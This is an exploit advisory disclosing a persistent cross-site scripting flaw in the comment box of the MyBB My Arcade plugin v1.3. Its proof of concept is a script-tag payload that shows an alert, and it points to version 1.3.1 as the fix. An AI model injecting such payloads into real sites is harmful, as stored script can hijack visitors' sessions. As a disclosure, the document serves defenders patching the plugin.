# Exploit Title: MyBB My Arcade Plugin v1.3 - Persistent XSS
# Date: 2/21/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=411
# Version: 1.3
# Tested on: Ubuntu 17.10
The My Arcade plugin adds a page of arcade games and keeps track of user scores, also allowing users to add a comment next to their score. The comment box is vulnerable to a persistent XSS.
2. Proof of Concept:
- Play an arcade game
- Add the following comment to your score <p """><SCRIPT>alert("XSS")</SCRIPT>">
- Edit the comment, Boom.
Update to 1.3.1